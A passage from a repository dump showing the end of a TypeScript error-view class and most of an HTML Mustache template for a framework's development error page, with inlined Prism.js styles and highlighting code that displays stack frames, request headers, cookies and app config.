Object.keys(parsedCookies).map((key) => {\n      return { key, value: parsedCookies[key] };\n    });\n\n    return {\n      url: this.request.url,\n      httpVersion: this.request.req.httpVersion,\n      method: this.request.method,\n      connection: this.request.headers.connection,\n      headers,\n      cookies,\n    };\n  }\n\n  /**\n   * serialize app info object\n   */\n  serializeAppInfo(): {\n    baseDir: string;\n    config: string;\n  } {\n    let config = this.app.config;\n    if ('dumpConfigToObject' in this.app && typeof this.app.dumpConfigToObject === 'function') {\n      config = this.app.dumpConfigToObject().config.config;\n    }\n    return {\n      baseDir: this.app.config.baseDir as string,\n      config: util.inspect(config) satisfies string as string,\n    };\n  }\n}\n"
  },
  {
    "path": "plugins/onerror/src/lib/onerror_page.mustache.html",
    "content": "<!doctype html>\n<html lang=\"en\">\n  <head>\n    <meta charset=\"UTF-8\" />\n    <title></title>\n    <style>\n       /* http://prismjs.com/download.html?themes=prism&languages=markup+css+clike+javascript&plugins=line-highlight+line-numbers+toolbar+show-language */\n       /**\n      * prism.js default theme for JavaScript, CSS and HTML\n      * Based on dabblet (http://dabblet.com)\n      * @author Lea Verou\n      */\n       code[class*='language-'],\n       pre[class*='language-'] {\n         color: black;\n         background: none;\n         text-shadow: 0 1px white;\n         font-family: Consolas, Monaco, 'Andale Mono', 'Ubuntu Mono', monospace;\n         text-align: left;\n         white-space: pre;\n         word-spacing: normal;\n         word-break: normal;\n         word-wrap: normal;\n         line-height: 1.5;\n         -moz-tab-size: 4;\n         -o-tab-size: 4;\n         tab-size: 4;\n         -webkit-hyphens: none;\n         -moz-hyphens: none;\n         -ms-hyphens: none;\n         hyphens: none;\n       }\n       pre[class*='language-']::-moz-selection,\n       pre[class*='language-'] ::-moz-selection,\n       code[class*='language-']::-moz-selection,\n       code[class*='language-'] ::-moz-selection {\n         text-shadow: none;\n         background: #98d8b7;\n       }\n       pre[class*='language-']::selection,\n       pre[class*='language-'] ::selection,\n       code[class*='language-']::selection,\n       code[class*='language-'] ::selection {\n         text-shadow: none;\n         background: #98d8b7;\n       }\n       @media print {\n         code[class*='language-'],\n         pre[class*='language-'] {\n           text-shadow: none;\n         }\n       }\n       /* Code blocks */\n       pre[class*='language-'] {\n         padding: 1em;\n         margin: 0.5em 0;\n         overflow: auto;\n       }\n       :not(pre) > code[class*='language-'],\n       pre[class*='language-'] {\n         background: #f5f2f0;\n       }\n       /* Inline code */\n       :not(pre) > code[class*='language-'] {\n         padding: 0.1em;\n         border-radius: 0.3em;\n         white-space: normal;\n       }\n       .token.comment,\n       .token.prolog,\n       .token.doctype,\n       .token.cdata {\n         color: slategray;\n       }\n       .token.punctuation {\n         color: #999;\n       }\n       .namespace {\n         opacity: 0.7;\n       }\n       .token.property,\n       .token.tag,\n       .token.boolean,\n       .token.number,\n       .token.constant,\n       .token.symbol,\n       .token.deleted {\n         color: #905;\n       }\n       .token.selector,\n       .token.attr-name,\n       .token.string,\n       .token.char,\n       .token.builtin,\n       .token.inserted {\n         color: #690;\n       }\n       .token.operator,\n       .token.entity,\n       .token.url,\n       .language-css .token.string,\n       .style .token.string {\n         color: #a67f59;\n         background: hsla(0, 0%, 100%, 0.5);\n       }\n       .token.atrule,\n       .token.attr-value,\n       .token.keyword {\n         color: #07a;\n       }\n       .token.function {\n         color: #dd4a68;\n       }\n       .token.regex,\n       .token.important,\n       .token.variable {\n         color: #e90;\n       }\n       .token.important,\n       .token.bold {\n         font-weight: bold;\n       }\n       .token.italic {\n         font-style: italic;\n       }\n       .token.entity {\n         cursor: help;\n       }\n       pre[data-line] {\n         position: relative;\n         padding: 1em 0 1em 3em;\n       }\n       .line-highlight {\n         position: absolute;\n         left: 0;\n         right: 0;\n         padding: inherit 0;\n         margin-top: 1em; /* Same as .prism’s padding-top */\n         background: hsla(24, 20%, 50%, 0.08);\n         background: linear-gradient(to right, hsla(24, 20%, 50%, 0.1) 70%, hsla(24, 20%, 50%, 0));\n         pointer-events: none;\n         line-height: inherit;\n         white-space: pre;\n       }\n       .line-highlight:before,\n       .line-highlight[data-end]:after {\n         content: attr(data-start);\n         position: absolute;\n         top: 0.4em;\n         left: 0.6em;\n         min-width: 1em;\n         padding: 0 0.5em;\n         background-color: hsla(24, 20%, 50%, 0.4);\n         color: hsl(24, 20%, 95%);\n         font: bold 65%/1.5 sans-serif;\n         text-align: center;\n         vertical-align: 0.3em;\n         border-radius: 999px;\n         text-shadow: none;\n         box-shadow: 0 1px white;\n       }\n       .line-highlight[data-end]:after {\n         content: attr(data-end);\n         top: auto;\n         bottom: 0.4em;\n       }\n       pre.line-numbers {\n         position: relative;\n         padding-left: 3.8em;\n         counter-reset: linenumber;\n       }\n       pre.line-numbers > code {\n         position: relative;\n       }\n       .line-numbers .line-numbers-rows {\n         position: absolute;\n         pointer-events: none;\n         top: 0;\n         font-size: 100%;\n         left: -3.8em;\n         width: 3em; /* works for line-numbers below 1000 lines */\n         letter-spacing: -1px;\n         border-right: 1px solid #999;\n         -webkit-user-select: none;\n         -moz-user-select: none;\n         -ms-user-select: none;\n         user-select: none;\n       }\n       .line-numbers-rows > span {\n         pointer-events: none;\n         display: block;\n         counter-increment: linenumber;\n       }\n       .line-numbers-rows > span:before {\n         content: counter(linenumber);\n         color: #999;\n         display: block;\n         padding-right: 0.8em;\n         text-align: right;\n       }\n       pre.code-toolbar {\n         position: relative;\n       }\n       pre.code-toolbar > .toolbar {\n         position: absolute;\n         top: 0.3em;\n         right: 0.2em;\n         transition: opacity 0.3s ease-in-out;\n         opacity: 0;\n       }\n       pre.code-toolbar:hover > .toolbar {\n         opacity: 1;\n       }\n       pre.code-toolbar > .toolbar .toolbar-item {\n         display: inline-block;\n       }\n       pre.code-toolbar > .toolbar a {\n         cursor: pointer;\n       }\n       pre.code-toolbar > .toolbar button {\n         background: none;\n         border: 0;\n         color: inherit;\n         font: inherit;\n         line-height: normal;\n         overflow: visible;\n         padding: 0;\n         -webkit-user-select: none; /* for button */\n         -moz-user-select: none;\n         -ms-user-select: none;\n       }\n       pre.code-toolbar > .toolbar a,\n       pre.code-toolbar > .toolbar button,\n       pre.code-toolbar > .toolbar span {\n         color: #bbb;\n         font-size: 0.8em;\n         padding: 0 0.5em;\n         background: #f5f2f0;\n         background: rgba(224, 224, 224, 0.2);\n         box-shadow: 0 2px 0 0 rgba(0, 0, 0, 0.2);\n         border-radius: 0.5em;\n       }\n       pre.code-toolbar > .toolbar a:hover,\n       pre.code-toolbar > .toolbar a:focus,\n       pre.code-toolbar > .toolbar button:hover,\n       pre.code-toolbar > .toolbar button:focus,\n       pre.code-toolbar > .toolbar span:hover,\n       pre.code-toolbar > .toolbar span:focus {\n         color: inherit;\n         text-decoration: none;\n       }\n    </style>\n\n    <style>\n      @keyframes hover-color {\n        from {\n          border-color: #c0c0c0;\n        }\n        to {\n          border-color: #53b783;\n        }\n      }\n      .magic-radio,\n      .magic-checkbox {\n        position: absolute;\n        display: none;\n      }\n      .magic-radio[disabled],\n      .magic-checkbox[disabled] {\n        cursor: not-allowed;\n      }\n      .magic-radio + label,\n      .magic-checkbox + label {\n        position: relative;\n        display: block;\n        padding-left: 30px;\n        cursor: pointer;\n        vertical-align: middle;\n      }\n      .magic-radio + label:hover:before,\n      .magic-checkbox + label:hover:before {\n        animation-duration: 0.4s;\n        animation-fill-mode: both;\n        animation-name: hover-color;\n      }\n      .magic-radio + label:before,\n      .magic-checkbox + label:before {\n        position: absolute;\n        top: 0;\n        left: 0;\n        display: inline-block;\n        width: 20px;\n        height: 20px;\n        content: '';\n        border: 1px solid #c0c0c0;\n      }\n      .magic-radio + label:after,\n      .magic-checkbox + label:after {\n        position: absolute;\n        display: none;\n        content: '';\n      }\n      .magic-radio[disabled] + label,\n      .magic-checkbox[disabled] + label {\n        cursor: not-allowed;\n        color: #e4e4e4;\n      }\n      .magic-radio[disabled] + label:hover,\n      .magic-radio[disabled] + label:before,\n      .magic-radio[disabled] + label:after,\n      .magic-checkbox[disabled] + label:hover,\n      .magic-checkbox[disabled] + label:before,\n      .magic-checkbox[disabled] + label:after {\n        cursor: not-allowed;\n      }\n      .magic-radio[disabled] + label:hover:before,\n      .magic-checkbox[disabled] + label:hover:before {\n        border: 1px solid #e4e4e4;\n        animation-name: none;\n      }\n      .magic-radio[disabled] + label:before,\n      .magic-checkbox[disabled] + label:before {\n        border-color: #e4e4e4;\n      }\n      .magic-radio:checked + label:before,\n      .magic-checkbox:checked + label:before {\n        animation-name: none;\n      }\n      .magic-radio:checked + label:after,\n      .magic-checkbox:checked + label:after {\n        display: block;\n      }\n      .magic-radio + label:before {\n        border-radius: 50%;\n      }\n      .magic-radio + label:after {\n        top: 6px;\n        left: 6px;\n        width: 8px;\n        height: 8px;\n        border-radius: 50%;\n        background: #53b783;\n      }\n      .magic-radio:checked + label:before {\n        border: 1px solid #53b783;\n      }\n      .magic-radio:checked[disabled] + label:before {\n        border: 1px solid #c9e2f9;\n      }\n      .magic-radio:checked[disabled] + label:after {\n        background: #c9e2f9;\n      }\n      .magic-checkbox + label:before {\n        border-radius: 3px;\n      }\n      .magic-checkbox + label:after {\n        top: 2px;\n        left: 7px;\n        box-sizing: border-box;\n        width: 6px;\n        height: 12px;\n        transform: rotate(45deg);\n        border-width: 2px;\n        border-style: solid;\n        border-color: #fff;\n        border-top: 0;\n        border-left: 0;\n      }\n      .magic-checkbox:checked + label:before {\n        border: #53b783;\n        background: #53b783;\n      }\n      .magic-checkbox:checked[disabled] + label:before {\n        border: #c9e2f9;\n        background: #c9e2f9;\n      }\n    </style>\n\n    <style>\n      html,\n      body {\n        height: 100%;\n        width: 100%;\n        -webkit-font-smoothing: antialiased;\n        -moz-osx-font-smoothing: grayscale;\n      }\n      body {\n        font-family:\n          Helvetica Neue For Number,\n          -apple-system,\n          BlinkMacSystemFont,\n          Segoe UI,\n          Roboto,\n          PingFang SC,\n          Hiragino Sans GB,\n          Microsoft YaHei,\n          Helvetica Neue,\n          Helvetica,\n          Arial,\n          sans-serif;\n        font-size: 14px;\n        line-height: 24px;\n        color: #444;\n      }\n      * {\n        padding: 0;\n        margin: 0;\n      }\n      ::selection {\n        text-shadow: none;\n        color: #fff;\n        background: #98d8b7;\n      }\n      ::-moz-selection {\n        text-shadow: none;\n        color: #fff;\n        background: #98d8b7;\n      }\n      .error-page {\n        display: flex;\n        flex-direction: column;\n        width: 100%;\n        height: 100%;\n      }\n      .error-logo {\n        position: absolute;\n        top: -15px;\n        right: 0px;\n      }\n      .error-stack {\n        background: #f1f1f1;\n        padding: 140px 80px 40px;\n        box-sizing: border-box;\n        border-bottom: 1px solid #e2e2e2;\n      }\n      .error-status {\n        color: #afafaf;\n        font-size: 150px;\n        position: absolute;\n        opacity: 0.2;\n        left: 76px;\n        top: 80px;\n        font-weight: 600;\n        margin-bottom: 10px;\n      }\n      .error-name {\n        color: #db5461;\n        font-size: 18px;\n        font-family: menlo, 'sans-serif';\n        font-weight: 300;\n        margin-bottom: 15px;\n      }\n      .error-title {\n        border-bottom: 1px solid #e0e0e0;\n        padding-bottom: 26px;\n        margin-bottom: 20px;\n        margin-top: 48px;\n      }\n      .error-title .box {\n        color: #db5461;\n        font-weight: 700;\n        font-size: 20px;\n        margin-left: 5px;\n      }\n      .error-title .context {\n        color: #db5461;\n        font-weight: 400;\n        margin-left: 5px;\n        margin-top: 48px;\n        line-height: 1.5;\n      }\n      .error-frames {\n        display: flex;\n        flex-direction: row-reverse;\n        margin-top: 40px;\n      }\n      .frame-preview {\n        background: #fff;\n        width: 50%;\n        box-shadow: 0px 0px 9px #d3d3d3;\n        height: 100%;\n        box-sizing: border-box;\n        overflow: auto;\n      }\n      .frame-stack {\n        margin-right: 40px;\n        flex: 1;\n        padding: 10px 0;\n        box-sizing: border-box;\n      }\n      .frames-list {\n        overflow: auto;\n        max-height: 334px;\n      }\n      .frames-filter-selector {\n        margin-bottom: 30px;\n        margin-left: 8px;\n      }\n      .request-details {\n        padding: 50px 80px;\n      }\n      .request-title {\n        text-transform: uppercase;\n        font-size: 18px;\n        letter-spacing: 1px;\n        padding: 0 5px 5px 5px;\n        margin-bottom: 15px;\n        color: #53b783;\n      }\n      .request-details .table {\n        width: 100%;\n        border-collapse: collapse;\n        margin-bottom: 80px;\n      }\n      .request-details .tr {\n        display: flex;\n        flex-direction: row;\n      }\n      .request-details .tr:nth-of-type(even) {\n        background: #fbfbfb;\n      }\n      .request-details .table .td {\n        padding: 6px 5px;\n        font-size: 14px;\n        letter-spacing: 0.4px;\n        color: #455275;\n        border-bottom: 1px solid #e8e8e8;\n        word-break: break-word;\n      }\n      .request-details .table .td.title {\n        flex: 1;\n        color: #565655;\n        font-size: 14px;\n        font-weight: 600;\n      }\n      .request-details .table .td.content {\n        width: 70%;\n      }\n      .request-details .table .td.content.code {\n        background: #fff;\n        width: 70%;\n        box-shadow: 0px 0px 9px #d3d3d3;\n        height: 100%;\n        box-sizing: border-box;\n        overflow: auto;\n      }\n      code[class*='language-'],\n      pre[class*='language-'] {\n        background: transparent;\n        font-size: 13px;\n        line-height: 1.8;\n      }\n      .line-numbers .line-numbers-rows {\n        border: none;\n      }\n      .frame-row {\n        display: flex;\n        justify-content: space-between;\n        padding: 6px 10px 6px 34px;\n        position: relative;\n        cursor: pointer;\n        transition: background 300ms ease;\n      }\n      .frame-row.native-frame {\n        display: none;\n        opacity: 0.4;\n      }\n      .frame-row.native-frame.force-show {\n        display: flex;\n      }\n      .frame-row:after {\n        content: '';\n        background: #db5461;\n        position: absolute;\n        top: 50%;\n        left: 10px;\n        transform: translateY(-50%);\n        height: 10px;\n        width: 10px;\n        border-radius: 24px;\n      }\n      .frame-row:hover,\n      .frame-row.active {\n        background: #fff;\n      }\n      .frame-row.active {\n        opacity: 1;\n      }\n      .frame-row-filepath {\n        color: #455275;\n        font-weight: 600;\n        margin-right: 15px;\n      }\n      .frame-context {\n        display: none;\n      }\n      .frame-row-code {\n        color: #999;\n      }\n      #frame-file {\n        color: #455275;\n        font-weight: 600;\n        border-bottom: 1px solid #e8e8e8;\n        padding: 10px 22px;\n      }\n      #frame-method {\n        color: #999;\n        font-weight: 400;\n        border-top: 1px solid #e8e8e8;\n        padding: 10px 22px;\n      }\n      .is-hidden {\n        display: none;\n      }\n    </style>\n  </head>\n  <body>\n    <section class=\"error-page\">\n      <section class=\"error-stack\">\n        <h3 class=\"error-status\">{{ status }}</h3>\n        <div class=\"error-title\">\n          <h1 class=\"box\">{{ name }} in {{ request.url }}</h1>\n          <div class=\"context\">{{ message }}</div>\n        </div>\n\n        <img class=\"error-logo\" src=\"https://zos.alipayobjects.com/rmsportal/JFKAMfmPehWfhBPdCjrw.svg\" />\n\n        <div class=\"error-frames\">\n          <div class=\"frame-preview is-hidden\">\n            <div id=\"frame-file\"></div>\n            <div id=\"frame-code\">\n              <pre class=\"line-numbers\"><code id=\"code-drop\"></code></pre>\n            </div>\n            <div id=\"frame-method\"></div>\n          </div>\n\n          <div class=\"frame-stack\">\n            <div class=\"frames-filter-selector\">\n              <input type=\"checkbox\" class=\"magic-checkbox\" name=\"frames-filter\" id=\"frames-filter\" />\n              <label for=\"frames-filter\">Show all frames</label>\n            </div>\n\n            <div class=\"frames-list\">\n              {{#frames}} {{index}}\n              <div class=\"frame-row {{classes}}\">\n                <div class=\"frame-row-filepath\">{{ file }}:{{ line }}:{{ column }}</div>\n                <div class=\"frame-row-code\">{{ method }}</div>\n                <div\n                  class=\"frame-context\"\n                  data-start=\"{{context.start}}\"\n                  data-line=\"{{line}}\"\n                  data-file=\"{{file}}\"\n                  data-method=\"{{method}}\"\n                  data-extname=\"{{extname}}\"\n                  data-line-column=\"{{line}}:{{column}}\"\n                >\n                  {{ context.pre }} {{ context.line }} {{ context.post }}\n                </div>\n              </div>\n              {{/frames}}\n            </div>\n          </div>\n        </div>\n      </section>\n\n      <section class=\"request-details\">\n        <h2 class=\"request-title\">Request Details</h2>\n        <div class=\"table\">\n          <div class=\"tr\">\n            <div class=\"td title\">URI</div>\n            <div class=\"td content\">{{ request.url }}</div>\n          </div>\n\n          <div class=\"tr\">\n            <div class=\"td title\">Request Method</div>\n            <div class=\"td content\">{{ request.method }}</div>\n          </div>\n\n          <div class=\"tr\">\n            <div class=\"td title\">HTTP Version</div>\n            <div class=\"td content\">{{ request.httpVersion }}</div>\n          </div>\n\n          <div class=\"tr\">\n            <div class=\"td title\">Connection</div>\n            <div class=\"td content\">{{ request.connection }}</div>\n          </div>\n        </div>\n\n        <h2 class=\"request-title\">Headers</h2>\n        <div class=\"table\">\n          {{#request.headers}}\n          <div class=\"tr\">\n            <div class=\"td title\">{{ key }}</div>\n            <div class=\"td content\">{{ value }}</div>\n          </div>\n          {{/request.headers}}\n        </div>\n\n        <h2 class=\"request-title\">Cookies</h2>\n        <div class=\"table\">\n          {{#request.cookies}}\n          <div class=\"tr\">\n            <div class=\"td title\">{{ key }}</div>\n            <div class=\"td content\">{{ value }}</div>\n          </div>\n          {{/request.cookies}}\n        </div>\n        <h2 class=\"request-title\">AppInfo</h2>\n        <div class=\"table\">\n          <div class=\"tr\">\n            <div class=\"td title\">baseDir</div>\n            <div class=\"td content\">{{ appInfo.baseDir }}</div>\n          </div>\n          <div class=\"tr\">\n            <div class=\"td title\">config</div>\n            <div class=\"td content code\">\n              <pre class=\"line-numbers\"><code class=\"language-json\">{{ appInfo.config }}</code></pre>\n            </div>\n          </div>\n        </div>\n      </section>\n\n      <script type=\"text/javascript\">\n        var _self =\n            'undefined' != typeof window\n              ? window\n              : 'undefined' != typeof WorkerGlobalScope && self instanceof WorkerGlobalScope\n                ? self\n                : {},\n          Prism = (function () {\n            var e = /\\blang(?:uage)?-(\\w+)\\b/i,\n              t = 0,\n              n = (_self.Prism = {\n                util: {\n                  encode: function (e) {\n                    return e instanceof a\n                      ? new a(e.type, n.util.encode(e.content), e.alias)\n                      : 'Array' === n.util.type(e)\n                        ? e.map(n.util.encode)\n                        : e\n                            .replace(/&/g, '&amp;')\n                            .replace(/</g, '&lt;')\n                            .replace(/\\u00a0/g, ' ');\n                  },\n                  type: function (e) {\n                    return Object.prototype.toString.call(e).match(/\\[object (\\w+)\\]/)[1];\n                  },\n                  objId: function (e) {\n                    return (e.__id || Object.defineProperty(e, '__id', { value: ++t }), e.__id);\n                  },\n                  clone: function (e) {\n                    var t = n.util.type(e);\n                    switch (t) {\n                      case 'Object':\n                        var a = {};\n                        for (var r in e) e.hasOwnProperty(r) && (a[r] = n.util.clone(e[r]));\n                        return a;\n                      case 'Array':\n                        return (\n                          e.map &&\n                          e.map(function (e) {\n                            return n.util.clone(e);\n                          })\n                        );\n                    }\n                    return e;\n                  },\n                },\n                languages: {\n                  extend: function (e, t) {\n                    var a = n.util.clone(n.languages[e]);\n                    for (var r in t) a[r] = t[r];\n                    return a;\n                  },\n                  insertBefore: function (e, t, a, r) {\n                    r = r || n.languages;\n                    var i = r[e];\n                    if (2 == arguments.length) {\n                      a = arguments[1];\n                      for (var l in a) a.hasOwnProperty(l) && (i[l] = a[l]);\n                      return i;\n                    }\n                    var o = {};\n                    for (var s in i)\n                      if (i.hasOwnProperty(s)) {\n                        if (s == t) for (var l in a) a.hasOwnProperty(l) && (o[l] = a[l]);\n                        o[s] = i[s];\n                      }\n                    return (\n                      n.languages.DFS(n.languages, function (t, n) {\n                        n === r[e] && t != e && (this[t] = o);\n                      }),\n                      (r[e] = o)\n                    );\n                  },\n                  DFS: function (e, t, a, r) {\n                    r = r || {};\n                    for (var i in e)\n                      e.hasOwnProperty(i) &&\n                        (t.call(e, i, e[i], a || i),\n                        'Object' !== n.util.type(e[i]) || r[n.util.objId(e[i])]\n                          ? 'Array' !== n.util.type(e[i]) ||\n                            r[n.util.objId(e[i])] ||\n                            ((r[n.util.objId(e[i])] = !0), n.languages.DFS(e[i], t, i, r))\n                          : ((r[n.util.objId(e[i])] = !0), n.languages.DFS(e[i], t, null, r)));\n                  },\n                },\n                plugins: {},\n                highlightAll: function (e, t) {\n                  var a = {\n                    callback: t,\n                    selector:\n                      'code[class*=\"language-\"], [class*=\"language-\"] code, code[class*=\"lang-\"], [class*=\"lang-\"] code',\n                  };\n                  n.hooks.run('before-highlightall', a);\n                  for (var r, i = a.elements || document.querySelectorAll(a.selector), l = 0; (r = i[l++]); )\n                    n.highlightElement(r, e === !0, a.callback);\n                },\n                highlightElement: function (t, a, r) {\n                  for (var i, l, o = t; o && !e.test(o.className); ) o = o.parentNode;\n                  (o && ((i = (o.className.match(e) || [, ''])[1].toLowerCase()), (l = n.languages[i])),\n                    (t.className = t.className.replace(e, '').replace(/\\s+/g, ' ') + ' language-' + i),\n                    (o = t.parentNode),\n                    /pre/i.test(o.nodeName) &&\n                      (o.className = o.className.replace(e, '').replace(/\\s+/g, ' ') + ' language-' + i));\n                  var s = t.textContent,\n                    u = { element: t, language: i, grammar: l, code: s };\n                  if ((n.hooks.run('before-sanity-check', u), !u.code || !u.grammar))\n                    return (u.code && (u.element.textContent = u.code), n.hooks.run('complete', u), void 0);\n                  if ((n.hooks.run('before-highlight', u), a && _self.Worker)) {\n                    var g = new Worker(n.filename);\n                    ((g.onmessage = function (e) {\n                      ((u.highlightedCode = e.data),\n                        n.hooks.run('before-insert', u),\n                        (u.element.innerHTML = u.highlightedCode),\n                        r && r.call(u.element),\n                        n.hooks.run('after-highlight', u),\n                        n.hooks.run('complete', u));\n                    }),\n                      g.postMessage(JSON.stringify({ language: u.language, code: u.code, immediateClose: !0 })));\n                  } else\n                    ((u.highlightedCode = n.highlight(u.code, u.grammar, u.language)),\n                      n.hooks.run('before-insert', u),\n                      (u.element.innerHTML = u.highlightedCode),\n                      r && r.call(t),\n                      n.hooks.run('after-highlight', u),\n                      n.hooks.run('complete', u));\n                },\n                highlight: function (e, t, r) {\n                  var i = n.tokenize(e, t);\n                  return a.stringify(n.util.encode(i), r);\n                },\n                tokenize: function (e, t) {\n                  var a = n.Token,\n                    r = [e],\n                    i = t.rest;\n                  if (i) {\n                    for (var l in i) t[l] = i[l];\n                    delete t.rest;\n                  }\n                  e: for (var l in t)\n                    if (t.hasOwnProperty(l) && t[l]) {\n                      var o = t[l];\n                      o = 'Array' === n.util.type(o) ? o : [o];\n                      for (var s = 0; s < o.length; ++s) {\n                        var u = o[s],\n                          g = u.inside,\n                          c = !!u.lookbehind,\n                          h = !!u.greedy,\n                          f = 0,\n                          d = u.alias;\n                        if (h && !u.pattern.global) {\n                          var p = u.pattern.toString().match(/[imuy]*$/)[0];\n                          u.pattern = RegExp(u.pattern.source, p + 'g');\n                        }\n                        u = u.pattern || u;\n                        for (var m = 0, y = 0; m < r.length; y += r[m].length, ++m) {\n                          var v = r[m];\n                          if (r.length > e.length) break e;\n                          if (!(v instanceof a)) {\n                            u.lastIndex = 0;\n                            var b = u.exec(v),\n                              k = 1;\n                            if (!b && h && m != r.length - 1) {\n                              if (((u.lastIndex = y), (b = u.exec(e)), !b)) break;\n                              for (\n                                var w = b.index + (c ? b[1].length : 0),\n                                  _ = b.index + b[0].length,\n                                  A = m,\n                                  P = y,\n                                  j = r.length;\n                                j > A && _ > P;\n                                ++A\n                              )\n                                ((P += r[A].length), w >= P && (++m, (y = P)));\n                              if (r[m] instanceof a || r[A - 1].greedy) continue;\n                              ((k = A - m), (v = e.slice(y, P)), (b.index -= y));\n                            }\n                            if (b) {\n                              c && (f = b[1].length);\n                              var w = b.index + f,\n                                b = b[0].slice(f),\n                                _ = w + b.length,\n                                x = v.slice(0, w),\n                                O = v.slice(_),\n                                S = [m, k];\n                              x && S.push(x);\n                              var N = new a(l, g ? n.tokenize(b, g) : b, d, b, h);\n                              (S.push(N), O && S.push(O), Array.prototype.splice.apply(r, S));\n                            }\n                          }\n                        }\n                      }\n                    }\n                  return r;\n                },\n                hooks: {\n                  all: {},\n                  add: function (e, t) {\n                    var a = n.hooks.all;\n                    ((a[e] = a[e] || []), a[e].push(t));\n                  },\n                  run: function (e, t) {\n                    var a = n.hooks.all[e];\n                    if (a && a.length) for (var r, i = 0; (r = a[i++]); ) r(t);\n                  },\n                },\n              }),\n              a = (n.Token = function (e, t, n, a, r) {\n                ((this.type = e),\n                  (this.content = t),\n                  (this.alias = n),\n                  (this.length = 0 | (a || '').length),\n                  (this.greedy = !!r));\n              });\n            if (\n              ((a.stringify = function (e, t, r) {\n                if ('string' == typeof e) return e;\n                if ('Array' === n.util.type(e))\n                  return e\n                    .map(function (n) {\n                      return a.stringify(n, t, e);\n                    })\n                    .join('');\n                var i = {\n                  type: e.type,\n                  content: a.stringify(e.content, t, r),\n                  tag: 'span',\n                  classes: ['token', e.type],\n                  attributes: {},\n                  language: t,\n                  parent: r,\n                };\n                if (('comment' == i.type && (i.attributes.spellcheck = 'true'), e.alias)) {\n                  var l = 'Array' === n.util.type(e.alias) ? e.alias : [e.alias];\n                  Array.prototype.push.apply(i.classes, l);\n                }\n                n.hooks.run('wrap', i);\n                var o = Object.keys(i.attributes)\n                  .map(function (e) {\n                    return e + '=\"' + (i.attributes[e] || '').replace(/\"/g, '&quot;') + '\"';\n                  })\n                  .join(' ');\n                return (\n                  '<' +\n                  i.tag +\n                  ' class=\"' +\n                  i.classes.join(' ') +\n                  '\"' +\n                  (o ? ' ' + o : '') +\n                  '>' +\n                  i.content +\n                  '</' +\n                  i.tag +\n                  '>'\n                );\n              }),\n              !_self.document)\n            )\n              return _self.addEventListener\n                ? (_self.addEventListener(\n                    'message',\n                    function (e) {\n                      var t = JSON.parse(e.data),\n                        a = t.language,\n                        r = t.code,\n                        i = t.immediateClose;\n                      (_self.postMessage(n.highlight(r, n.languages[a], a)), i && _self.close());\n                    },\n                    !1\n                  ),\n                  _self.Prism)\n                : _self.Prism;\n            var r = document.currentScript || [].slice.call(document.getElementsByTagName('script')).pop();\n            return (\n              r &&\n                ((n.filename = r.src),\n                document.addEventListener &&\n                  !r.hasAttribute('data-manual') &&\n                  ('loading' !== document.readyState\n                    ? window.requestAnimationFrame\n                      ? window.requestAnimationFrame(n.highlightAll)\n                      : window.setTimeout(n.highlightAll, 16)\n                    : document.addEventListener('DOMContentLoaded', n.highlightAll))),\n              _self.Prism\n            );\n          })();\n        ('undefined' != typeof module && module.exports && (module.exports = Prism),\n          'undefined' != typeof global && (global.Prism = Prism));\n        ((Prism.languages.markup = {\n          comment: /<!--[\\w\\W]*?-->/,\n          prolog: /<\\?[\\w\\W]+?\\?>/,\n          doctype: /<!DOCTYPE[\\w\\W]+?>/i,\n          cdata: /<!\\[CDATA\\[[\\w\\W]*?]]>/i,\n          tag: {\n            pattern:\n              /<\\/?(?!\\d)[^\\s>\\/=$<]+(?:\\s+[^\\s>\\/=]+(?:=(?:(\"|')(?:\\\\\\1|\\\\?(?!\\1)[\\w\\W])*\\1|[^\\s'\">=]+))?)*\\s*\\/?>/i,\n            inside: {\n              tag: { pattern: /^<\\/?[^\\s>\\/]+/i, inside: { punctuation: /^<\\/?/, namespace: /^[^\\s>\\/:]+:/ } },\n              'attr-value': { pattern: /=(?:('|\")[\\w\\W]*?(\\1)|[^\\s>]+)/i, inside: { punctuation: /[=>\"']/ } },\n              punctuation: /\\/?>/,\n              'attr-name': { pattern: /[^\\s>\\/]+/, inside: { namespace: /^[^\\s>\\/:]+:/ } },\n            },\n          },\n          entity: /&#?[\\da-z]{1,8};/i,\n        }),\n          Prism.hooks.add('wrap', function (a) {\n            'entity' === a.type && (a.attributes.title = a.content.replace(/&amp;/, '&'));\n          }),\n          (Prism.languages.xml = Prism.languages.markup),\n          (Prism.languages.html = Prism.languages.markup),\n          (Prism.languages.mathml = Prism.languages.markup),\n          (Prism.languages.svg = Prism.languages.markup));\n        ((Prism.languages.css = {\n          comment: /\\/\\*[\\w\\W]*?\\*\\//,\n          atrule: { pattern: /@[\\w-]+?.*?(;|(?=\\s*\\{))/i, inside: { rule: /@[\\w-]+/ } },\n          url: /url\\((?:([\"'])(\\\\(?:\\r\\n|[\\w\\W])|(?!\\1)[^\\\\\\r\\n])*\\1|.*?)\\)/i,\n          selector: /[^\\{\\}\\s][^\\{\\};]*?(?=\\s*\\{)/,\n          string: { pattern: /(\"|')(\\\\(?:\\r\\n|[\\w\\W])|(?!\\1)[^\\\\\\r\\n])*\\1/, greedy: !0 },\n          property: /(\\b|\\B)[\\w-]+(?=\\s*:)/i,\n          important: /\\B!important\\b/i,\n          function: /[-a-z0-9]+(?=\\()/i,\n          punctuation: /[(){};:]/,\n        }),\n          (Prism.languages.css.atrule.inside.rest = Prism.util.clone(Prism.languages.css)),\n          Prism.languages.markup &&\n            (Prism.languages.insertBefore('markup', 'tag', {\n              style: {\n                pattern: /(<style[\\w\\W]*?>)[\\w\\W]*?(?=<\\/style>)/i,\n                lookbehind: !0,\n                inside: Prism.languages.css,\n                alias: 'language-css',\n              },\n            }),\n            Prism.languages.insertBefore(\n              'inside',\n              'attr-value',\n              {\n                'style-attr': {\n                  pattern: /\\s*style=(\"|').*?\\1/i,\n                  inside: {\n                    'attr-name': { pattern: /^\\s*style/i, inside: Prism.languages.markup.tag.inside },\n                    punctuation: /^\\s*=\\s*['\"]|['\"]\\s*$/,\n                    'attr-value': { pattern: /.+/i, inside: Prism.languages.css },\n                  },\n                  alias: 'language-css',\n                },\n              },\n              Prism.languages.markup.tag\n            )));\n        Prism.languages.clike = {\n          comment: [\n            { pattern: /(^|[^\\\\])\\/\\*[\\w\\W]*?\\*\\//, lookbehind: !0 },\n            { pattern: /(^|[^\\\\:])\\/\\/.*/, lookbehind: !0 },\n          ],\n          string: { pattern: /([\"'])(\\\\(?:\\r\\n|[\\s\\S])|(?!\\1)[^\\\\\\r\\n])*\\1/, greedy: !0 },\n          'class-name': {\n            pattern:\n              